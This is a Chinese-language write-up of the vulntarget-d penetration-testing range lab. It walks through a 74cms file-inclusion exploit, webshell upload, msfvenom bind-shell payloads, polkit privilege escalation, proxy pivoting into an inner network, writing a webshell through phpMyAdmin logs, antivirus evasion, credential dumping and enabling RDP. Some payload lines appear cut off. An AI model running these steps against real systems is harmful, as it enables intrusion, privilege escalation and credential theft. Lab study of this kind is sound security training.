此次靶场共两个个镜像文件,接下来先给大家说一下整个环境的拓扑图以环境布置。
扫描主机
扫描同一网段中的存活主机
发现存活主机ip地址(其他ip是我其他机器的ip地址)
192.168.1.17
扫描端口
扫描一下存活靶机的ip地址
nmap -A -p- 192.168.1.17
发现开放了80、81、3306、8888,看这架势应该是宝塔的界面,那就先访问端口看看
访问80端口发现不可
访问81端口
在这里发现了一个骑士的cms框架界面
看到底下的版本信息,搜索一下看看这个版本有没有什么版本漏洞进行利用
直接搜索这个版本漏洞
发现实存在文件包含漏洞的,那就直接利用这个漏洞进行渗透即可
查看http://192.168.1.17:81/,通过搜集信息可知,可能存在74cms文件包含漏洞:
然后继续执行:
http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl
post执行
variable=1&tpl=")?>; ob_flush();?>/r/n
http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl
post部分(注意包含的时候,要对应日期)
variable=1&tpl=data/Runtime/Logs/Home/22_03_30.log
然后就直接上蚁剑链接就行
首先先上线MSF,生成一个木马文件,好给Ubuntu虚拟机传上
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf >0330.elf
通过蚁剑上传上去之后,赋予执行权限,运行:
同时在攻击机开启msf进行连接:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.1.17
run
在eval用户的Desktop目录下发现一枚flag:
flag{welcome_to_vulntarget-d}
接下来就是进行提取操作了
看下当前虚拟机的版本号
cat /etc/issue
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
所以对于当前的靶机来说,这个提权也是可以的
在反弹shell发现,当前还存在一个内网的ip地址,那就设置代理,进行设置。
添加路由
run post/multi/manage/autoroute
run auxiliary/server/socks_proxy
在这使用的是默认的socks5的代理模式。
vi /etc/proxychains4.conf
进行主机存活扫描
auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,80,443,8080,3389,445
set RHOSTS 192.168.2.0/24
set threads 50
run
发现了存活主机 192.168.2.129
然后就对存活主机进行详细的端口扫描
sudo proxychains nmap -sT -Pn 192.168.2.129 -p22,23,80,139,445,1433,3306,3389,6379,8080
发现存在80/139/445/3306端口
然后直接在kali浏览器中访问80端口
在这块给大家讲一下,该如何在浏览器设置才能访问
然后设置后就可以正常访问即可
访问80端口还有3306端口
此时看到3306开放的服务是mysql。
在端口80上看不出啥东西,扫描下目录试试看:
dirsearch -u http://192.168.2.129 --proxy socks5://127.0.0.1:1080
在这里扫描到了l.php(正常的不会直接在目录下写这个的),其实这里就可以看出来,这是一个phpstudy搭建的网站了,我记得探针在最下面是有用户名密码的,也去看一下
在这里直接修改代码参数获取了数据库的用户名密码即可
访问一下phpinfo.php
在这里也发现了网站的绝对路径:
C:/phpstudy/PHPTutorial/WWW/phpinfo.php
接下来尝试访问:http://192.168.2.129/phpMyAdmin/
就直接用上面我们发现的用户名密码直接登录即可
拿到现在很明显了,直接phpmyadmin拿shell。
账号:root 密码:root(这里也可以进行爆破,不要直接使用Brupsuite进行爆破,可以使用一些比较成熟的工具或者自己写脚本去爆破)
进来之后,开始尝试写日志拿shell
首先查看日志的状态:
SHOW VARIABLES LIKE ‘%general%’
默认是关闭的所以先将 general_log 设置为on,执行
set global general_log=on;
set global general_log_file=‘C:/phpstudy/PHPTutorial/www/vulntarget.php’;
http://192.168.2.129/vulntarget.php
写入一句话:
SELECT ‘’
最后使用蚁剑进行连接:
代理配置:
在这里得在kali安装蚁剑,具体安装方式大家也可以自己百度一下即可
刚已经拿到了其中一个管理员crow的权限,但是在这里我们想拿到system权限,
在这里使用tasklist /svc来查看有哪些杀毒软件:
查到有火绒这个软件的存在:
那先做一个免杀上线msf:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ lport=1234 -f raw -o crowsec.jpg
新生成的文件和加载器通过蚁剑上传到win7中:
为什么,一直监听不到,实验了一下午也没有得出什么结果,那就直接用大佬的文章来直接弥补吧大佬文章
msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
smsf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 1234 yes The listen port
RHOST 10.0.20.136 no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 10.0.20.136:1234
[*] Sending stage (175174 bytes) to 10.0.20.136
[*] Meterpreter session 2 opened (10.0.20.132:53280 -> 10.0.20.136:1234 via sessio
在这里发现当前没办法抓到密码,主要是因为上面生成的木马是32位的。(如果你生成的木马是64位的,就没有这个问题)
getpid和ps查看一下进程:
那在这里将进程迁移到x64位上去:
migrate 504
注意迁移的时候,要迁移到system的user上。
再次执行命令,即可获取明文密码。
得到用户名:crow 密码:admin
run post/windows/manage/enable_rdp